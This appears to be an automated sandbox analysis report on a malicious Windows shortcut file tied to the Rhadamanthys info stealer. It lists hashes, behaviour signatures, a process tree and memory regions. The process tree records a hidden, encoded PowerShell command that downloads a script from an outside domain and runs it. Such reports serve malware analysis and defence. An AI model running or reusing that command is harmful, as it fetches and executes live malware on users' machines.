Analysis

  • max time kernel
    95s
  • max time network
    205s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    05-04-2024 08:57

General

  • Target

    DOC527 - 527527.lnk

  • Size

    9KB

  • MD5

    8f67aaa7b8bf4df78de954a16bcf67ca

  • SHA1

    2cedea1467518ab950820767b6f546344d228305

  • SHA256

    b8a5cb1a0bc2ddd5b12f29781391ce38806b8dd0af28a0612d71a58063250ae8

  • SHA512

    09519377b6dbedb528e4c96342b4c28ad71e2a286bb61866daea52d8a657969e4d53685cc14e122e8f3eb24e9ca5e0da6d77b2786d502b1b9a056c7154e83934

  • SSDEEP

    192:8z55hm3MSBf6OY1tvnT1wEuz4+nCWLFf3m/9h0yAE7oxMdPDTJvs3DoTNxHJ6:u5vcMS5otvnT1w7p9WIBE7UkpoyHJ6

Score
10/10

Malware Config

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\sihost.exe
    sihost.exe
    1⤵
      PID:2652
      • C:\Windows\system32\dialer.exe
        "C:\Windows\system32\dialer.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:4308
    • C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\DOC527 - 527527.lnk"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2088
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -Ex Bypass -WindowStyle Hidden -Enc KABpAHcAcgAgAGgAdAB0AHAAcwA6AC8ALwBpAG0AYQBuAGkAawB1AHUALgBjAG8AbQAvAGQAbwBuAGUALgB0AHgAdAAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAKQAuAEMAbwBuAHQAZQBuAHQAIAB8ACAAaQBOAHYATwBrAEUALQBFAHgAUAByAGUAUwBzAGkATwBuAA==
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2396

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e4qavmnj.rga.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/2396-22-0x0000016FEC390000-0x0000016FEC790000-memory.dmp

      Filesize

      4.0MB

    • memory/2396-13-0x0000016FE9DF0000-0x0000016FE9E00000-memory.dmp

      Filesize

      64KB

    • memory/2396-23-0x00007FFDD32A0000-0x00007FFDD335E000-memory.dmp

      Filesize

      760KB

    • memory/2396-14-0x0000016FE9DF0000-0x0000016FE9E00000-memory.dmp

      Filesize

      64KB

    • memory/2396-15-0x0000016FEC2E0000-0x0000016FEC33E000-memory.dmp

      Filesize

      376KB

    • memory/2396-16-0x0000016FE9DE0000-0x0000016FE9DF0000-memory.dmp

      Filesize

      64KB

    • memory/2396-17-0x0000016FEC390000-0x0000016FEC790000-memory.dmp

      Filesize

      4.0MB

    • memory/2396-18-0x0000016FE9DE0000-0x0000016FE9DF0000-memory.dmp

      Filesize

      64KB

    • memory/2396-24-0x00007FFDD2410000-0x00007FFDD26D9000-memory.dmp

      Filesize

      2.8MB

    • memory/2396-2-0x0000016FEBE70000-0x0000016FEBE92000-memory.dmp

      Filesize

      136KB

    • memory/2396-21-0x00007FFDD4990000-0x00007FFDD4B85000-memory.dmp

      Filesize

      2.0MB

    • memory/2396-12-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp

      Filesize

      10.8MB

    • memory/2396-20-0x0000016FEC390000-0x0000016FEC790000-memory.dmp

      Filesize

      4.0MB

    • memory/2396-31-0x0000016FEC390000-0x0000016FEC790000-memory.dmp

      Filesize

      4.0MB

    • memory/2396-29-0x00007FFDB6630000-0x00007FFDB70F1000-memory.dmp

      Filesize

      10.8MB

    • memory/4308-32-0x000001EA203B0000-0x000001EA207B0000-memory.dmp

      Filesize

      4.0MB

    • memory/4308-25-0x000001EA1E930000-0x000001EA1E939000-memory.dmp

      Filesize

      36KB

    • memory/4308-34-0x000001EA203B0000-0x000001EA207B0000-memory.dmp

      Filesize

      4.0MB

    • memory/4308-35-0x00007FFDD32A0000-0x00007FFDD335E000-memory.dmp

      Filesize

      760KB

    • memory/4308-33-0x00007FFDD4990000-0x00007FFDD4B85000-memory.dmp

      Filesize

      2.0MB

    • memory/4308-36-0x00007FFDD2410000-0x00007FFDD26D9000-memory.dmp

      Filesize

      2.8MB

    • memory/4308-37-0x000001EA203B0000-0x000001EA207B0000-memory.dmp

      Filesize

      4.0MB